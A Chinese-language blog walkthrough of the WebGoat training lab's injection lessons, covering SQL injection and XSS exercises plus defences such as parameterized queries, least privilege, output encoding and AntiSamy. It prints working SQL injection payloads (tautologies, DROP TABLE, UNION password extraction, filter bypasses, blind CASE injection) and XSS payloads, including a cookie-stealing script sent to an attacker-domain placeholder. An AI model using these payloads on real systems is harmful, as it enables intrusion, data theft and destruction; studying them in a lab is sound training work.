项目笔记:Webgoat靶场通关教程之Injection

        0x03.Injection(注入)

                一.sql注入(入门)

                     这里主要是sql基础(增删改查)毕竟sql都不会咋进行sql注入是不是

        什么是SQL?

                SQL 是一种标准化的编程语言(1986年通过 ANSI,1987 年通过 ISO),用于管理关系型数据库并对其中的数据执行各种作。数据库是一个数据集合。数据被组织成行、列和表格,并进行索引,以提高查找相关信息的效率。

        打开是给了我们一个表格,让查询员工Bob Franco的部门,直接查就行

select  department from employees where userid=96134

       下一关是让吧Tobi Barnett的部门改成Sales,这里用到UOPDATE

UPDATE employees SET department = 'Sales' WHERE userid = 89762

        再往后是在“employees”表中添加列“phone”(varchar(20))用到的是 ALTER ADD

ALTER TABLE employees 
ADD phone VARCHAR(20);

        后面是尝试将桌面权限授予用户:grant_rightsunauthorized_user,用到的是GRANT INSERT ON

grant insert on grant_rights  to unauthorized_user

6,7,8讲的就是sql注入原理危害什么的,9是用了一个构造语句让你自己选一下以便理解直接跳过看第10关数值注入,

此时SQL语句变为SELECT * FROM user_data WHERE login_count =  1 AND userid = 1 or 1 =1 ;
前面1是错误的,构造or 1 = 1 让语句永远为true

11为字符注入

此时SQL语句变为 

SELECT * FROM employees WHERE last_name = '1' AND auth_tan = ' 1' or  '1' = '1 ' ;

通过1‘闭合前面的单引号然后再写入or '1闭合后面的单引号,使其永远为true

12让你更改字段

语句后面为3SL99A'; update employees set salary = 100000 where last_name='Smith'; --

通过单引号闭合前面语句 然后更新员工表里面的工资字段为100000 名字为史密斯,之后通过注释--注释掉后面语句当然--+也可以。

13就是让你清除日志了,直接

1' drop table access_log;--+ 删除日志

二.SQL注入(高级)

        前两关也是介绍了一些sql里面的注释,联合查询,Join 运算符这些,直接看第三关

        他要求获取到user_system_data表的数据,并找到David的密码,提示可以用union或者语句拼接,这个办法就多了

1,直接 David' OR 1=1;SELECT * FROM user_system_data;--(堆叠注入)

2, Dave' union select userid ,user_name,'3',password,'4',cookie,userid from user_system_data;--(联合查询)

由于user_data表有7个字段原查询返回7列,原查询返回7列,联合查询的SELECT部分需返回相同数量列user_system_data表仅4列,需补充3列:重复userid列(确保第7列与原查询login_count类型兼容)。添加常量值'3''4'作为占位(匹配cc_numbercc_type类型兼容)。

3,’ or true union select 1,‘2’,‘3’,‘4’,‘5’,password, 7 from user_system_data–(跟上面同理,只是保留密码)

第4关讲的是盲注,即输入后,结果不显示。这种注入,只能询问一些问题,根据返回是false或者true来进行猜测攻击。比如说时间注入:id= 1; sleep(5) --如果存在注入,则在返回结果之前,会等待5秒

来到第5关,给了一个登录框,让以汤姆身份登录,登录框是没注入的,倒是注册里有不过却搞不出来,查了一下源码也没头绪,只能爆破咯(出题人口味独特)密码是thisisasecretfortomonly

第六关一直打不开,不知道是啥毛病,直接跳过吧

三.如何防止SQL注入

        前面四关讲的是一些防止sql注入的手段,如静态查询,参数化查询

        1. 安全存储过程(ListCustomers)——参数化查询的典范
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city
  • 安全机制
    使用参数化查询@Country作为参数传入),数据库引擎会将参数视为纯数据(而非SQL代码),避免用户输入被解析为可执行代码。
    • 示例调用:EXEC ListCustomers 'USA' → 实际执行:... WHERE country LIKE 'USA'
    • 即使输入'%' OR 1=1 --,也会被当作字符串匹配,不会改变查询逻辑。
  • 优势
    • 彻底防御SQL注入攻击。
    • 数据库优化器可重用执行计划,提升性能。
    • 代码逻辑清晰,易于维护。
2. 可注入存储过程(getUser)——动态SQL拼接的致命漏洞
CREATE PROCEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM users WHERE lastname = ' + @LastName + ''
exec sp_executesql @sql
  • 漏洞原理
    动态拼接用户输入(@LastName)到SQL字符串中,攻击者可构造恶意输入篡改SQL逻辑。
    • 攻击示例1(万能密码)
      输入:' OR 1=1 --
      拼接后:SELECT * FROM users WHERE lastname = '' OR 1=1 --'
      结果:返回所有用户记录(因1=1恒真,注释符--忽略后续代码)。

    • 攻击示例2(数据泄露)
      输入:'; DROP TABLE users --
      拼接后:SELECT * FROM users WHERE lastname = ''; DROP TABLE users --'
      结果:删除users表(若权限允许)。

  • 风险根源
    • 字符串拼接:用户输入直接嵌入SQL代码,未进行任何过滤或参数化。
    • 执行方式sp_executesql虽支持参数化,但此处未使用参数化版本(缺少@params@values参数),导致输入被当作代码执行。
3. 修复方案:安全动态SQL的两种写法

        方案1:完全参数化(推荐)

CREATE PROCEDURE getUser_Safe(@lastName nvarchar(25))
AS
DECLARE @sql NVARCHAR(255) = N'SELECT * FROM users WHERE lastname = @LastName'
EXEC sp_executesql @sql, N'@LastName NVARCHAR(25)', @LastName
  • 原理:通过sp_executesql的参数化接口,将@LastName作为独立参数传递,避免拼接。
  • 优势:彻底防御注入,同时保留动态SQL的灵活性。

方案2:严格输入验证(辅助手段)

CREATE PROCEDURE getUser_Safe2(@lastName nvarchar(25))
AS
-- 仅允许字母、空格、连字符
IF @lastName NOT LIKE '%[^A-Za-z -]%'
BEGIN
  SELECT * FROM users WHERE lastname = @lastName
END
ELSE
BEGIN
  RAISERROR('Invalid input', 16, 1)
END
  • 原理:通过正则表达式过滤危险字符(如';--)。
  • 局限:需维护严格的白名单规则,可能影响业务灵活性。

第5关是让你完善java的一个参数化查询sql,这东西需要你有点java基础(幸好之前学过一些)

其实原本语句是这样的

Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);  // 数据库连接
PreparedStatement str = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");  // 预编译SQL问号为占位符str为变量
str.setString(1, name);  // 绑定第一个参数(姓名)
str.setString(2, mail);   // 绑定第二个参数(邮箱)

这里扩展一个更详细的吧

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class SafeUserQuery {
    // 数据库配置(实际使用时替换为真实值)
    private static final String DB_URL = "jdbc:mysql://localhost:3306/mydb";
    private static final String DB_USER = "admin";
    private static final String DB_PW = "securePassword123";

    public static void main(String[] args) {
        String name = "张三";  // 用户输入(示例)
        String mail = "zhangsan@example.com";  // 用户输入(示例)
        
        // 使用try-with-resources自动关闭资源
        try (Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PW);
             PreparedStatement str = conn.prepareStatement(
                 "SELECT status FROM users WHERE name = ? AND mail = ?")) {  // 英文占位符!
            
            // 绑定参数(索引从1开始)
            str.setString(1, name);     // 替换第一个?
            str.setString(2, mail);     // 替换第二个?
            
            // 执行查询并处理结果
            try (ResultSet rs = ps.executeQuery()) {
                if (rs.next()) {
                    System.out.println("用户状态: " + rs.getString("status"));
                } else {
                    System.out.println("未找到用户");
                }
            }
            
        } catch (SQLException e) {
            // 异常处理(实际项目中记录日志或抛出自定义异常)
            System.err.println("数据库错误: " + e.getMessage());
        }
    }
}

第6关,让你自己写一个参数化查询

try {
    // 1. 声明Connection对象(初始化为null)
    Connection conn = null;
    
    // 2. 建立数据库连接(使用预定义的DBURL/DBUSER/DBPW)
    conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    
    // 3. 定义参数化查询语句(?为占位符)
    String query = "SELECT * FROM users WHERE name = ?";
    
    // 4. 创建PreparedStatement对象(预编译SQL)
    PreparedStatement s = conn.prepareStatement(query);
    
    // 5. 绑定字符串参数(索引1对应第一个?)
    s.setString(1, "Bob");
    
    // 6. 执行查询并获取结果集
    ResultSet results = s.executeQuery();
    
} catch (Exception e) {
    // 7. 统一异常处理(实际项目应记录具体错误)
    System.out.println("Oops. Something went wrong!");
}

第7关是.NET的参数化查询,第8关是验证输入,看第9关

输入提示有空格我们可以用%20、//、/**/尝试过滤掉空格

1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--

第10关,他说什么仅仅靠输入验证是不够的

这里输入1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--

之后看返回里面报错是没有select和from的,尝试双写绕过

1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--

成功

12关主要讲的是一个条件判断语句,后面要用

来看第12关

他明显标出来下面提交字段不会有注入点,还通过order by注入,找半天没找到,但是主机名排序哪里可以点,应该是,抓包测一下

确认是了,而且是按照主机名排序,改成一个1试试

依次判断列数,到7报错了,报了个语句

select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by 7

现在知道字段,和表了,这就要用到上面的case判断语句来盲注

构造语句

(CASE WHEN ((SELECT SUBSTRING(ip,1,1) FROM servers WHERE hostname='webgoat-prd')=1) THEN hostname ELSE id END)

其中SUBSTRING([字段名], 1, 1) 表示从第一个字符开始截取一位也就是说一个一个猜字符,猜对了就返回主机名排序的回显,错了就返回id排序的回显

不行,那是不允许有空格或者过滤了某个关键字?用/**/,%20和双写绕过一点一点一点试试吧,试了好几遍还不行,吐了,难道是有其他转义?,后来发现单引号的问题,最终语句

(case%20when%20((select%20substring(ip,2,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=1)%20then%20hostname%20else%20id%20end)

但是一个一个写看会先也太慢了,直接在两个1哪里尝试爆破看吧之后看返回数值(太耗时间了)

最终爆破出ip:104.130.219.202

13 最小特权
使用最小权限集进行连接
应用程序应使用不同的凭据连接到数据库,以实现每个信任区别
应用程序很少需要对表或数据库的删除权限
数据库帐户应限制架构访问,即不允许账户修改数据的schema,如为表添加修改字段。
定义用于读取和读/写访问的数据库帐户
基于访问权限的多个连接池
对身份验证查询使用只读访问权限、对数据修改查询使用读/写访问权限、使用 execute 访问存储过程调用

四.XSS

        XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过向网页注入恶意脚本(如JavaScript),当其他用户浏览该网页时,浏览器会执行这些恶意脚本,从而窃取用户数据、劫持会话或进行其他恶意操作。

1. 攻击本质:信任被滥用
  • 浏览器信任机制:浏览器默认信任当前域下的所有内容,包括来自服务器、第三方资源或用户输入的内容。
  • 脚本执行漏洞:若网页未对用户输入进行充分过滤或转义,攻击者可注入恶意脚本,浏览器会将其视为合法代码执行。
2. XSS 的三种类型及原理
(1)反射型XSS(非持久型)
  • 触发方式:通过URL参数、表单提交等“一次交互”触发。
  • 攻击流程
    • 攻击者构造恶意链接(如 http://example.com/page?param=<script>alert(1)</script>)。
    • 用户点击链接,服务器将 param 参数的值直接返回页面(未过滤)。
    • 浏览器执行恶意脚本,弹出警告或窃取cookie。
  • 典型场景:搜索页面、错误提示页等动态生成内容的场景。
(2)存储型XSS(持久型)
  • 触发方式:恶意脚本存储在服务器(如数据库),所有访问该页面的用户均会触发。
  • 攻击流程
    • 攻击者在评论区、用户名等字段提交恶意脚本(如 <script>窃取cookie</script>)。
    • 服务器将脚本存入数据库。
    • 其他用户访问该页面时,脚本从数据库读出并执行。
  • 危害程度:影响范围广,持续时间长,常用于窃取管理员权限或大规模钓鱼。
(3)DOM型XSS(客户端漏洞)
  • 触发方式:不依赖服务器,通过JavaScript操作DOM时未过滤用户输入。
  • 攻击流程
    • 网页使用JavaScript动态生成内容(如 document.write(location.hash))。
    • 攻击者构造URL(如 http://example.com/#<img src=x onerror=窃取代码>)。
    • 浏览器解析URL的hash部分,直接执行恶意脚本。
  • 特点:漏洞存在于前端代码,与服务器无关,传统防护手段(如输入过滤)可能失效。
3. 攻击载荷与危害
  • 常见载荷
    • 窃取Cookie:<script>new Image().src='http://攻击者域名?cookie='+document.cookie;</script>
    • 钓鱼攻击:伪造登录表单,诱导用户输入账号密码。
    • 键盘记录:监听用户输入,发送至攻击者服务器。
    • 端口扫描:探测内网环境,扩大攻击范围。
  • 危害范围
    • 用户隐私泄露(如账号、支付信息)。
    • 网页篡改(如插入恶意广告)。
    • 会话劫持(通过窃取的Cookie冒充用户)。
    • 分布式拒绝服务(DDoS)攻击。
4. 防御措施
  • 输入验证与过滤
    • 对用户输入进行白名单过滤(仅允许特定字符)。
    • 使用库(如OWASP Java Encoder)进行HTML/JavaScript转义。
  • 输出编码
    • 根据输出位置(HTML、属性、URL)进行差异化编码。
    • 示例:将 < 转为 &lt;,防止标签注入。
  • 安全策略
    • HTTP-Only Cookie:禁止JavaScript访问敏感Cookie。
    • Content Security Policy (CSP):限制脚本来源,禁止内联脚本执行。
    • X-XSS-Protection:启用浏览器内置XSS防护(已逐步被CSP取代)。
  • 框架与工具
    • 使用现代框架(如React、Vue)的自动转义功能。
    • 部署Web应用防火墙(WAF)检测恶意请求。
  • 其他措施
    • 设置合适的HTTP头(如 X-Content-Type-Options: nosniff 防止MIME嗅探攻击)。
    • 定期进行安全审计与漏洞扫描。

五.反射XSS

1到6关讲的都是一些概念  直接第7关

        直接<script>alert('XSS')</script>,毫无任何过滤。也可以<script>console.log(document.cookie)</script>盗取cookie

第8第9讲的是dom型XSS看第10关

        这是一个DOM型的XSS

源码

@PostMapping("/CrossSiteScripting/phone-home-xss")
public AttackResult completed(
  @RequestParam Integer param1, 
  @RequestParam Integer param2, 
  HttpServletRequest request) {
  if (param1 == 42 && param2 == 24 && 
      request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) {
    return success(this).build();
  }
}

查看js源码发现

正确答案start.mvc#test/

原理:正常教学路由(如lesson/CrossSiteScripting.lesson/9)用于加载安全课程

测试路由test/testParam=:value 可能在开发阶段遗留,未在生产环境中移除或禁用。

来看第11

这个一眼就能了解他的要求,就是直接访问刚刚我们找到的路径

http://127.0.0.1:8080/WebGoat/start.mvc#test/param1=foobar&param2=DOMXSS%3Cscript%3Ewebgoat.customjs.phoneHome%28%29%3C%2Fscript%3E

六.存储型XSS

很简单

这里直接<script>webgoat.customjs.phoneHome()</script>是不行的,直接被过滤了那就一点一点输入看过滤了啥

发现直接webgoat.customjs.phoneHome()可以<>可以,<t>可以,唯独script不行,然后又尝试大小写绕过,HTML实体编码绕过&lt;script&gt;alert(1)&lt;/script&gt;但是这个在alert(1)总是变成alert (1),还是不行,最终用注释绕过发现成功

<!-- --><script>webgoat.customjs.phoneHome()</script>

七.XSS防御

        其实防御有很多种方法像

1. 输入验证与过滤

  • 白名单验证:仅允许符合预设规则的字符(如字母、数字、下划线),拒绝<>"'&等危险字符。例如,使用正则表达式^[a-zA-Z0-9_]+$验证用户名。
  • 长度限制:限制输入字段的最大长度,防止长脚本注入(如<script>alert(...)被截断)。
  • 类型校验:对数字、邮箱、电话等字段进行格式校验,避免非预期输入。
  • 工具支持:使用OWASP ESAPI库的Validator类进行标准化验证,或利用Java的javax.validation注解(如@Pattern)。

2. 输出编码(上下文敏感)

  • HTML实体编码:将<>"'分别转义为&lt;&gt;&quot;&#39;,适用于HTML标签内容。
  • JavaScript编码:对字符串中的\"', 换行符等进行转义,防止注入到eval()innerHTML
  • URL编码:对?&=等参数分隔符进行编码,避免参数篡改。
  • CSS编码:对"'()等进行转义,防止CSS注入攻击。
  • 框架内置转义:如React JSX自动对{}内的表达式进行HTML转义,Angular使用{{ }}语法自动编码。

第5关我先采用的JSTL的<c:out>标签

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
    <title>Secure Form Handling</title>
</head>
<body>
    <h1>Using POST Method Securely</h1>
    <table>
        <tbody>
            <tr>
                <td><b>First Name:</b></td>
                <td><c:out value="${param.first_name}"/></td>
            </tr>
            <tr>
                <td><b>Last Name:</b></td>
                <td><c:out value="${param.last_name}"/></td>
            </tr>
        </tbody>
    </table>
</body>
</html>

原理<c:out>自动将<script>alert()等特殊字符转义为HTML实体(如&lt;),使浏览器将其视为普通文本而非可执行代码。

发现不行,尝试使用Apache Commons Text库转义

<%@ page import="org.apache.commons.text.StringEscapeUtils" %>
<tr>
    <td><b>First Name:</b></td>
    <td><%= StringEscapeUtils.escapeHtml4(request.getParameter("first_name")) %></td>
</tr>

还是不行,没招了,看看源码吧,发现用的是在JSP中引入OWASP Java Encoder标签库其实前两个本质上也可以,谁知道呢(出题人口味独特)

 
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<html>
<head>
    <title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
    <h1>Using POST Method to Read Form Data</h1>
    <table>
        <tbody>
            <tr>
                <td><b>First Name:</b></td>
                <td>${e:forHtml(param.first_name)}</td>#自动将<script>alert()等特殊字符转义为HTML实体(如&lt;)
            </tr>
            <tr>
                <td><b>Last Name:</b></td>
                <td>${e:forHtml(param.last_name)}</td>
            </tr>
        </tbody>
    </table>
</body>
</html>
 
 

<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>:这一行引入了一个JSP标签库,其前缀为"e",URI为"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project"。这个标签库用于对输入进行编码,以防止XSS(跨站脚本)攻击。 

${e:forHtml(param.first_name)} 和 ${e:forHtml(param.last_name)}:这些是JSTL(JSP Standard Tag Library)中的表达式,用于从请求参数中获取"first_name"和"last_name"的值,并使用前面引入的OWASP Java Encoder标签库对它们进行编码,以防止XSS攻击。然后,这些编码后的值将被插入到HTML表格中。

 
第6关直接看答案吧

import org.owasp.validator.html.*;
import MyCommentDAO;
 
public class AntiSamyController {
    public void saveNewComment(int threadID, int userID, String newComment){
        Policy policy = Policy.getInstance("antisamy-slashdot.xml");
        AntiSamy as = new AntiSamy();
        CleanResults cr = as.scan(newComment, policy);
        MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
    }
}

Policy.getInstance("antisamy-slashdot.xml"):加载预定义策略文件,该文件定义了允许的HTML标签(如<b><i>)和属性(如href需匹配http/https),同时禁止<script><iframe>等危险标签。

as.scan(newComment, policy):对用户输入进行深度扫描,识别并移除违反策略的标签/属性,同时保留安全格式(如换行符转为<br>)。

cr.getCleanHTML():输出经过净化的HTML片段,仅包含策略允许的内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值